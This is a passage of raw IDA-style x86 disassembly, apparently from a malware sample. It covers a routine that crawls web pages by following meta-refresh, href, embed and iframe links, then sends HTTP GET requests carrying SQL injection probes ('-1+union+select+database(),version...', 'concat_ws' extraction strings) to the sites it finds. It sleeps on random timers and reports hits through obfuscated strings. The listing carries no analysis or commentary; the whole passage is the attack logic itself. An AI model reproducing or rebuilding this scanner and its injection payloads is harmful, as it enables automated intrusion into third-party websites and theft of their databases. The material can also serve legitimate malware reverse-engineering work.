[ebp-2Ch] push eax lea ecx, [ebp-1Ch] call sub_4198F0 push esi lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 11h call sub_419820 push eax lea eax, [ebp-5Ch] push eax lea ecx, [ebp-2Ch] call sub_4198F0 push eax lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 12h call sub_419A7D lea ecx, [ebp-5Ch] mov byte ptr [ebp-4], 11h call sub_41968F push esi lea ecx, [ebp-2Ch] call sub_419820 push eax lea eax, [ebp-5Ch] push eax lea ecx, [ebp-2Ch] call sub_4198F0 push eax lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 13h call sub_419A7D lea ecx, [ebp-5Ch] mov byte ptr [ebp-4], 11h call sub_41968F add edi, 44h push esi mov ecx, edi call sub_4196C2 lea eax, [ebp-2Ch] mov ecx, edi push eax call sub_419770 lea ecx, [ebp-2Ch] call sub_41968F xor esi, esi inc esi loc_41A072: ; CODE XREF: sub_419C4E+80j ; sub_419C4E+133j lea ecx, [ebp-1Ch] call sub_41968F pop edi mov eax, esi pop ebx loc_41A07E: ; CODE XREF: sub_419C4E+17j mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_419C4E endp ; --------------------------------------------------------------------------- loc_41A08B: ; DATA XREF: sub_40A9FE+8094o mov eax, offset loc_4365D0 call sub_42B7CC sub esp, 0C40h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 22Ah mov esi, eax lea edi, [ebp-0C4Ch] xor ebx, ebx rep movsd mov dword ptr [eax+8A4h], 1 mov eax, [ebp-0C4Ch] lea ecx, [ebp-1F4h] mov [ebp-34h], eax mov [ebp-48h], ebx call sub_41B149 mov [ebp-4], ebx call dword_437188 ; GetTickCount push eax call sub_429B8F lea eax, [ebp-1F4h] push eax lea eax, [ebp-0C48h] push eax call sub_419C4E add esp, 0Ch test eax, eax jnz short loc_41A161 cmp [ebp-3ACh], ebx mov esi, offset aFailedToParse_ ; "Failed to parse." jnz short loc_41A124 cmp [ebp-3B0h], ebx jnz short loc_41A12C lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_41CE4A add esp, 0Ch loc_41A124: ; CODE XREF: .text:0041A107j cmp [ebp-3B0h], ebx jz short loc_41A13F loc_41A12C: ; CODE XREF: .text:0041A10Fj lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_41CDD4 add esp, 0Ch loc_41A13F: ; CODE XREF: .text:0041A12Aj or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-1F4h] call sub_41B173 mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax pop ebx mov large fs:0, ecx leave retn 4 ; --------------------------------------------------------------------------- loc_41A161: ; CODE XREF: .text:0041A0FAj xor eax, eax cmp off_446358, ebx jz short loc_41A175 loc_41A16B: ; CODE XREF: .text:0041A173j inc eax cmp off_446358[eax*4], ebx jnz short loc_41A16B loc_41A175: ; CODE XREF: .text:0041A169j dec eax cmp [ebp-3C0h], ebx mov [ebp-0D0h], eax jle loc_41B0C8 mov esi, offset asc_43D938 ; " " mov edi, offset asc_44736C ; "=" loc_41A192: ; CODE XREF: .text:0041B0C2j push dword ptr [ebp-0D0h] push ebx call sub_41E415 mov eax, off_446358[eax*4] pop ecx pop ecx mov [ebp+8], eax lea ecx, [ebp-30h] call sub_419617 lea ecx, [ebp-20h] call sub_419617 cmp dword ptr [ebp-3C4h], 50h mov byte ptr [ebp-4], 2 lea ecx, [ebp-1E4h] jnz short loc_41A1E6 call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_4197A9 add esp, 0Ch jmp short loc_41A203 ; --------------------------------------------------------------------------- loc_41A1E6: ; CODE XREF: .text:0041A1CBj push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_4197A9 add esp, 10h loc_41A203: ; CODE XREF: .text:0041A1E4j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-1B0h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-1F4h] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-0CCh] push eax call sub_419B11 add esp, 0Ch mov byte ptr [ebp-4], 3 jmp loc_41B059 ; --------------------------------------------------------------------------- loc_41A25B: ; CODE XREF: .text:0041B05Fj lea ecx, [ebp-0ACh] call sub_41B149 push 3Ch lea ecx, [ebp-0CCh] mov byte ptr [ebp-4], 4 call sub_4197E2 test eax, eax jz loc_41B067 push 3Ch lea ecx, [ebp-0CCh] call sub_4197E2 push eax lea eax, [ebp-0F0h] push eax lea ecx, [ebp-0CCh] call sub_4198F0 lea eax, [ebp-0F0h] lea ecx, [ebp-0CCh] push eax mov byte ptr [ebp-4], 5 call sub_419A7D push 3Eh lea ecx, [ebp-0CCh] call sub_4197E2 dec eax lea ecx, [ebp-0CCh] push eax lea eax, [ebp-44h] push ebx push eax call sub_41985D push esi lea eax, [ebp-0BCh] push ebx push eax lea ecx, [ebp-44h] mov byte ptr [ebp-4], 6 call sub_419A5E push offset aMeta ; "meta" lea ecx, [ebp-0BCh] mov byte ptr [ebp-4], 7 call sub_419798 test eax, eax jnz loc_41A49B push offset aRefresh ; "\"Refresh\"" lea ecx, [ebp-44h] call sub_419820 test eax, eax jz loc_41A49B push esi lea eax, [ebp-58h] push 3 push eax lea ecx, [ebp-44h] call sub_419A5E push 3Dh lea ecx, [ebp-58h] mov byte ptr [ebp-4], 8 call sub_4197E2 push eax lea eax, [ebp-394h] push eax lea ecx, [ebp-58h] call sub_4198F0 push eax lea ecx, [ebp-0F0h] mov byte ptr [ebp-4], 9 call sub_419A7D lea ecx, [ebp-394h] mov byte ptr [ebp-4], 8 call sub_41968F lea eax, [ebp-0F0h] lea ecx, [ebp-58h] push eax call sub_419A7D lea ecx, [ebp-58h] call sub_41DB5C dec eax lea ecx, [ebp-58h] push eax lea eax, [ebp-374h] push ebx push eax call sub_41985D push eax lea ecx, [ebp-0F0h] mov byte ptr [ebp-4], 0Ah call sub_419A7D lea ecx, [ebp-374h] mov byte ptr [ebp-4], 8 call sub_41968F lea eax, [ebp-0F0h] lea ecx, [ebp-58h] push eax call sub_419A7D lea eax, [ebp-58h] lea ecx, [ebp-204h] push eax call sub_41966B lea eax, [ebp-0ACh] lea ecx, [ebp-204h] push eax mov byte ptr [ebp-4], 0Bh call sub_419A8C push eax call sub_419C4E pop ecx test eax, eax pop ecx jz loc_41A488 cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_41A417 call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_4197A9 add esp, 0Ch jmp short loc_41A431 ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: .text:0041A3FCj push dword ptr [ebp-6Ch] call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_4197A9 add esp, 10h loc_41A431: ; CODE XREF: .text:0041A415j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-214h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-214h] call sub_41968F loc_41A488: ; CODE XREF: .text:0041A3ECj lea ecx, [ebp-204h] call sub_41968F lea ecx, [ebp-58h] jmp loc_41B027 ; --------------------------------------------------------------------------- loc_41A49B: ; CODE XREF: .text:0041A2FFj ; .text:0041A314j push offset dword_43DAAC lea ecx, [ebp-0BCh] call sub_419798 test eax, eax jnz loc_41A83E push esi lea eax, [ebp-384h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_419A5E push edi lea ecx, [ebp-110h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 0Ch call sub_419A5E lea ecx, [ebp-384h] jmp short loc_41A542 ; --------------------------------------------------------------------------- loc_41A4E3: ; CODE XREF: .text:0041A55Dj push offset byte_454A54 lea ecx, [ebp-110h] call sub_419788 test eax, eax jz short loc_41A55F inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-304h] lea ecx, [ebp-44h] push eax call sub_419A5E push edi lea ecx, [ebp-244h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 0Fh call sub_419A5E push eax lea ecx, [ebp-110h] mov byte ptr [ebp-4], 10h call sub_41970F lea ecx, [ebp-244h] call sub_41968F lea ecx, [ebp-304h] loc_41A542: ; CODE XREF: .text:0041A4E1j mov byte ptr [ebp-4], 0Eh call sub_41968F lea ecx, [ebp-110h] push offset aHref ; "href" call sub_419798 test eax, eax jnz short loc_41A4E3 loc_41A55F: ; CODE XREF: .text:0041A4F5j push offset byte_454A54 lea ecx, [ebp-110h] call sub_419788 test eax, eax jz loc_41A833 push esi lea eax, [ebp-264h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_419A5E push 1 push edi lea ecx, [ebp-160h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 11h call sub_419913 lea ecx, [ebp-264h] call sub_41968F lea ecx, [ebp-170h] call sub_419617 push ebx lea ecx, [ebp-160h] mov byte ptr [ebp-4], 14h call sub_419A82 cmp byte ptr [eax], 2Fh lea ecx, [ebp-160h] jnz short loc_41A600 call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-170h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_4197A9 add esp, 14h jmp short loc_41A660 ; --------------------------------------------------------------------------- loc_41A600: ; CODE XREF: .text:0041A5D0j push offset aHttp_0 ; "http://" call sub_419820 test eax, eax jz short loc_41A622 lea eax, [ebp-160h] lea ecx, [ebp-170h] push eax call sub_41970F jmp short loc_41A660 ; --------------------------------------------------------------------------- loc_41A622: ; CODE XREF: .text:0041A60Cj lea ecx, [ebp-160h] call sub_419A8C push eax lea ecx, [ebp-1B0h] call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-170h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_4197A9 add esp, 18h loc_41A660: ; CODE XREF: .text:0041A5FEj ; .text:0041A620j lea eax, [ebp-0ACh] lea ecx, [ebp-170h] push eax call sub_419A8C push eax call sub_419C4E pop ecx test eax, eax pop ecx jz loc_41A81D cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_41A6A7 call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_4197A9 add esp, 0Ch jmp short loc_41A6C1 ; --------------------------------------------------------------------------- loc_41A6A7: ; CODE XREF: .text:0041A68Cj push dword ptr [ebp-6Ch] call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_4197A9 add esp, 10h loc_41A6C1: ; CODE XREF: .text:0041A6A5j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-364h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-364h] call sub_41968F lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetS1UnionSele ; "GET %s=-1+union+select+database(),versi"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-284h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-284h] call sub_41968F lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetS1UnionSe_0 ; "GET %s=-1+union+select+1,2,concat_ws(0x"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-324h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-324h] call sub_41968F lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax push dword ptr [ebp+8] lea ecx, [ebp-68h] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetS1UnionSe_1 ; "GET %s=-1+union+select+1,2,concat_ws(ch"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-2A4h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-2A4h] call sub_41968F loc_41A81D: ; CODE XREF: .text:0041A67Cj lea ecx, [ebp-170h] call sub_41968F lea ecx, [ebp-160h] call sub_41968F loc_41A833: ; CODE XREF: .text:0041A571j lea ecx, [ebp-110h] jmp loc_41B027 ; --------------------------------------------------------------------------- loc_41A83E: ; CODE XREF: .text:0041A4ADj push offset off_446E38 lea ecx, [ebp-0BCh] call sub_419798 test eax, eax jnz loc_41AADC push esi lea eax, [ebp-3A4h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_419A5E push edi lea ecx, [ebp-140h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 15h call sub_419A5E lea ecx, [ebp-3A4h] jmp short loc_41A8E5 ; --------------------------------------------------------------------------- loc_41A886: ; CODE XREF: .text:0041A900j push offset byte_454A54 lea ecx, [ebp-140h] call sub_419788 test eax, eax jz short loc_41A902 inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-344h] lea ecx, [ebp-44h] push eax call sub_419A5E push edi lea ecx, [ebp-2C4h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 18h call sub_419A5E push eax lea ecx, [ebp-140h] mov byte ptr [ebp-4], 19h call sub_41970F lea ecx, [ebp-2C4h] call sub_41968F lea ecx, [ebp-344h] loc_41A8E5: ; CODE XREF: .text:0041A884j mov byte ptr [ebp-4], 17h call sub_41968F lea ecx, [ebp-140h] push offset off_446E34 call sub_419798 test eax, eax jnz short loc_41A886 loc_41A902: ; CODE XREF: .text:0041A898j push offset byte_454A54 lea ecx, [ebp-140h] call sub_419788 test eax, eax jz loc_41AAD1 push esi lea eax, [ebp-2E4h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_419A5E push 1 push edi lea ecx, [ebp-0E0h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 1Ah call sub_419913 lea ecx, [ebp-2E4h] call sub_41968F lea ecx, [ebp-1A0h] call sub_419617 push ebx lea ecx, [ebp-0E0h] mov byte ptr [ebp-4], 1Dh call sub_419A82 cmp byte ptr [eax], 2Fh lea ecx, [ebp-0E0h] jnz short loc_41A9A3 call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-1A0h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_4197A9 add esp, 14h jmp short loc_41AA03 ; --------------------------------------------------------------------------- loc_41A9A3: ; CODE XREF: .text:0041A973j push offset aHttp_0 ; "http://" call sub_419820 test eax, eax jz short loc_41A9C5 lea eax, [ebp-0E0h] lea ecx, [ebp-1A0h] push eax call sub_41970F jmp short loc_41AA03 ; --------------------------------------------------------------------------- loc_41A9C5: ; CODE XREF: .text:0041A9AFj lea ecx, [ebp-0E0h] call sub_419A8C push eax lea ecx, [ebp-1B0h] call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-1A0h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_4197A9 add esp, 18h loc_41AA03: ; CODE XREF: .text:0041A9A1j ; .text:0041A9C3j lea eax, [ebp-0ACh] lea ecx, [ebp-1A0h] push eax call sub_419A8C push eax call sub_419C4E pop ecx test eax, eax pop ecx jz loc_41AABB cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_41AA4A call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_4197A9 add esp, 0Ch jmp short loc_41AA64 ; --------------------------------------------------------------------------- loc_41AA4A: ; CODE XREF: .text:0041AA2Fj push dword ptr [ebp-6Ch] call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_4197A9 add esp, 10h loc_41AA64: ; CODE XREF: .text:0041AA48j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-224h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-224h] call sub_41968F loc_41AABB: ; CODE XREF: .text:0041AA1Fj lea ecx, [ebp-1A0h] call sub_41968F lea ecx, [ebp-0E0h] call sub_41968F loc_41AAD1: ; CODE XREF: .text:0041A914j lea ecx, [ebp-140h] jmp loc_41B027 ; --------------------------------------------------------------------------- loc_41AADC: ; CODE XREF: .text:0041A850j push offset aEmbed ; "embed" lea ecx, [ebp-0BCh] call sub_419798 test eax, eax jnz loc_41AD7A push esi lea eax, [ebp-234h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_419A5E push edi lea ecx, [ebp-130h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 1Eh call sub_419A5E lea ecx, [ebp-234h] jmp short loc_41AB83 ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: .text:0041AB9Ej push offset byte_454A54 lea ecx, [ebp-130h] call sub_419788 test eax, eax jz short loc_41ABA0 inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-274h] lea ecx, [ebp-44h] push eax call sub_419A5E push edi lea ecx, [ebp-254h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 21h call sub_419A5E push eax lea ecx, [ebp-130h] mov byte ptr [ebp-4], 22h call sub_41970F lea ecx, [ebp-254h] call sub_41968F lea ecx, [ebp-274h] loc_41AB83: ; CODE XREF: .text:0041AB22j mov byte ptr [ebp-4], 20h call sub_41968F lea ecx, [ebp-130h] push offset off_446E34 call sub_419798 test eax, eax jnz short loc_41AB24 loc_41ABA0: ; CODE XREF: .text:0041AB36j push offset byte_454A54 lea ecx, [ebp-130h] call sub_419788 test eax, eax jz loc_41AD6F push esi lea eax, [ebp-294h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_419A5E push 1 push edi lea ecx, [ebp-150h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 23h call sub_419913 lea ecx, [ebp-294h] call sub_41968F lea ecx, [ebp-190h] call sub_419617 push ebx lea ecx, [ebp-150h] mov byte ptr [ebp-4], 26h call sub_419A82 cmp byte ptr [eax], 2Fh lea ecx, [ebp-150h] jnz short loc_41AC41 call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-190h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_4197A9 add esp, 14h jmp short loc_41ACA1 ; --------------------------------------------------------------------------- loc_41AC41: ; CODE XREF: .text:0041AC11j push offset aHttp_0 ; "http://" call sub_419820 test eax, eax jz short loc_41AC63 lea eax, [ebp-150h] lea ecx, [ebp-190h] push eax call sub_41970F jmp short loc_41ACA1 ; --------------------------------------------------------------------------- loc_41AC63: ; CODE XREF: .text:0041AC4Dj lea ecx, [ebp-150h] call sub_419A8C push eax lea ecx, [ebp-1B0h] call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-190h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_4197A9 add esp, 18h loc_41ACA1: ; CODE XREF: .text:0041AC3Fj ; .text:0041AC61j lea eax, [ebp-0ACh] lea ecx, [ebp-190h] push eax call sub_419A8C push eax call sub_419C4E pop ecx test eax, eax pop ecx jz loc_41AD59 cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_41ACE8 call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_4197A9 add esp, 0Ch jmp short loc_41AD02 ; --------------------------------------------------------------------------- loc_41ACE8: ; CODE XREF: .text:0041ACCDj push dword ptr [ebp-6Ch] call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_4197A9 add esp, 10h loc_41AD02: ; CODE XREF: .text:0041ACE6j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-2B4h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-2B4h] call sub_41968F loc_41AD59: ; CODE XREF: .text:0041ACBDj lea ecx, [ebp-190h] call sub_41968F lea ecx, [ebp-150h] call sub_41968F loc_41AD6F: ; CODE XREF: .text:0041ABB2j lea ecx, [ebp-130h] jmp loc_41B027 ; --------------------------------------------------------------------------- loc_41AD7A: ; CODE XREF: .text:0041AAEEj push offset aFrame ; "frame" lea ecx, [ebp-0BCh] call sub_419798 test eax, eax jz short loc_41ADA6 push offset aIframe ; "iframe" lea ecx, [ebp-0BCh] call sub_419798 test eax, eax jnz loc_41B02C loc_41ADA6: ; CODE XREF: .text:0041AD8Cj push esi lea eax, [ebp-2D4h] push ebx push eax lea ecx, [ebp-44h] mov [ebp-10h], ebx call sub_419A5E push edi lea ecx, [ebp-120h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 27h call sub_419A5E lea ecx, [ebp-2D4h] jmp short loc_41AE35 ; --------------------------------------------------------------------------- loc_41ADD6: ; CODE XREF: .text:0041AE50j push offset byte_454A54 lea ecx, [ebp-120h] call sub_419788 test eax, eax jz short loc_41AE52 inc dword ptr [ebp-10h] push esi push dword ptr [ebp-10h] lea eax, [ebp-314h] lea ecx, [ebp-44h] push eax call sub_419A5E push edi lea ecx, [ebp-2F4h] push ebx push ecx mov ecx, eax mov byte ptr [ebp-4], 2Ah call sub_419A5E push eax lea ecx, [ebp-120h] mov byte ptr [ebp-4], 2Bh call sub_41970F lea ecx, [ebp-2F4h] call sub_41968F lea ecx, [ebp-314h] loc_41AE35: ; CODE XREF: .text:0041ADD4j mov byte ptr [ebp-4], 29h call sub_41968F lea ecx, [ebp-120h] push offset off_446E34 call sub_419798 test eax, eax jnz short loc_41ADD6 loc_41AE52: ; CODE XREF: .text:0041ADE8j push offset byte_454A54 lea ecx, [ebp-120h] call sub_419788 test eax, eax jz loc_41B021 push esi lea eax, [ebp-334h] push dword ptr [ebp-10h] lea ecx, [ebp-44h] push eax call sub_419A5E push 1 push edi lea ecx, [ebp-100h] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 2Ch call sub_419913 lea ecx, [ebp-334h] call sub_41968F lea ecx, [ebp-180h] call sub_419617 push ebx lea ecx, [ebp-100h] mov byte ptr [ebp-4], 2Fh call sub_419A82 cmp byte ptr [eax], 2Fh lea ecx, [ebp-100h] jnz short loc_41AEF3 call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-180h] push offset aHttpSDS ; "http://%s:%d%s" push eax call sub_4197A9 add esp, 14h jmp short loc_41AF53 ; --------------------------------------------------------------------------- loc_41AEF3: ; CODE XREF: .text:0041AEC3j push offset aHttp_0 ; "http://" call sub_419820 test eax, eax jz short loc_41AF15 lea eax, [ebp-100h] lea ecx, [ebp-180h] push eax call sub_41970F jmp short loc_41AF53 ; --------------------------------------------------------------------------- loc_41AF15: ; CODE XREF: .text:0041AEFFj lea ecx, [ebp-100h] call sub_419A8C push eax lea ecx, [ebp-1B0h] call sub_419A8C push eax lea ecx, [ebp-1E4h] push dword ptr [ebp-1B4h] call sub_419A8C push eax lea eax, [ebp-180h] push offset aHttpSDSS ; "http://%s:%d%s%s" push eax call sub_4197A9 add esp, 18h loc_41AF53: ; CODE XREF: .text:0041AEF1j ; .text:0041AF13j lea eax, [ebp-0ACh] lea ecx, [ebp-180h] push eax call sub_419A8C push eax call sub_419C4E pop ecx test eax, eax pop ecx jz loc_41B00B cmp dword ptr [ebp-6Ch], 50h lea ecx, [ebp-9Ch] jnz short loc_41AF9A call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostS ; "Host: %s" push eax call sub_4197A9 add esp, 0Ch jmp short loc_41AFB4 ; --------------------------------------------------------------------------- loc_41AF9A: ; CODE XREF: .text:0041AF7Fj push dword ptr [ebp-6Ch] call sub_419A8C push eax lea eax, [ebp-20h] push offset aHostSD ; "Host: %s:%d" push eax call sub_4197A9 add esp, 10h loc_41AFB4: ; CODE XREF: .text:0041AF98j lea eax, [ebp-848h] lea ecx, [ebp-20h] push eax call sub_419A8C push eax lea ecx, [ebp-68h] push dword ptr [ebp+8] call sub_419A8C push eax lea eax, [ebp-30h] push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"... push eax call sub_4197A9 add esp, 18h lea eax, [ebp-0ACh] lea ecx, [ebp-30h] push eax call sub_419A8C push eax lea eax, [ebp-354h] push eax call sub_419B11 add esp, 0Ch lea ecx, [ebp-354h] call sub_41968F loc_41B00B: ; CODE XREF: .text:0041AF6Fj lea ecx, [ebp-180h] call sub_41968F lea ecx, [ebp-100h] call sub_41968F loc_41B021: ; CODE XREF: .text:0041AE64j lea ecx, [ebp-120h] loc_41B027: ; CODE XREF: .text:0041A496j ; .text:0041A839j ... call sub_41968F loc_41B02C: ; CODE XREF: .text:0041ADA0j lea ecx, [ebp-0BCh] call sub_41968F lea ecx, [ebp-44h] call sub_41968F lea ecx, [ebp-0F0h] call sub_41968F lea ecx, [ebp-0ACh] mov byte ptr [ebp-4], 3 call sub_41B173 loc_41B059: ; CODE XREF: .text:0041A256j cmp [ebp-3B4h], ebx jnz loc_41A25B jmp short loc_41B076 ; --------------------------------------------------------------------------- loc_41B067: ; CODE XREF: .text:0041A279j lea ecx, [ebp-0ACh] mov byte ptr [ebp-4], 3 call sub_41B173 loc_41B076: ; CODE XREF: .text:0041B065j mov eax, [ebp-3B8h] cmp eax, ebx jnz short loc_41B091 push 5265C00h push 36EE80h call sub_41E415 pop ecx pop ecx loc_41B091: ; CODE XREF: .text:0041B07Ej push eax call dword_437190 ; Sleep inc dword ptr [ebp-48h] lea ecx, [ebp-0CCh] call sub_41968F lea ecx, [ebp-20h] call sub_41968F lea ecx, [ebp-30h] mov [ebp-4], bl call sub_41968F mov eax, [ebp-48h] cmp eax, [ebp-3C0h] jl loc_41A192 loc_41B0C8: ; CODE XREF: .text:0041A182j cmp [ebp-3ACh], ebx mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" mov esi, offset aSSSU ; "%s %s -> %s:%u" jnz short loc_41B108 cmp [ebp-3B0h], ebx jnz short loc_41B110 push dword ptr [ebp-3C4h] lea eax, [ebp-0C48h] push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push edi lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_41CE4A add esp, 1Ch loc_41B108: ; CODE XREF: .text:0041B0D8j cmp [ebp-3B0h], ebx jz short loc_41B136 loc_41B110: ; CODE XREF: .text:0041B0E0j push dword ptr [ebp-3C4h] lea eax, [ebp-0C48h] push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push edi lea eax, [ebp-448h] push esi push eax push dword ptr [ebp-34h] call sub_41CDD4 add esp, 1Ch loc_41B136: ; CODE XREF: .text:0041B10Ej push dword ptr [ebp-3C8h] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread ; =============== S U B R O U T I N E ======================================= sub_41B149 proc near ; CODE XREF: .text:0041A0CEp ; .text:0041A261p mov edx, ecx call sub_419617 lea ecx, [edx+10h] call sub_419617 lea ecx, [edx+20h] call sub_419617 lea ecx, [edx+30h] call sub_419617 lea ecx, [edx+44h] call sub_419617 mov eax, edx retn sub_41B149 endp ; =============== S U B R O U T I N E ======================================= sub_41B173 proc near ; CODE XREF: .text:0041A149p ; .text:0041B054p ... push esi mov esi, ecx lea ecx, [esi+44h] call sub_41968F lea ecx, [esi+30h] call sub_41968F lea ecx, [esi+20h] call sub_41968F lea ecx, [esi+10h] call sub_41968F mov ecx, esi pop esi jmp sub_41968F sub_41B173 endp ; =============== S U B R O U T I N E ======================================= 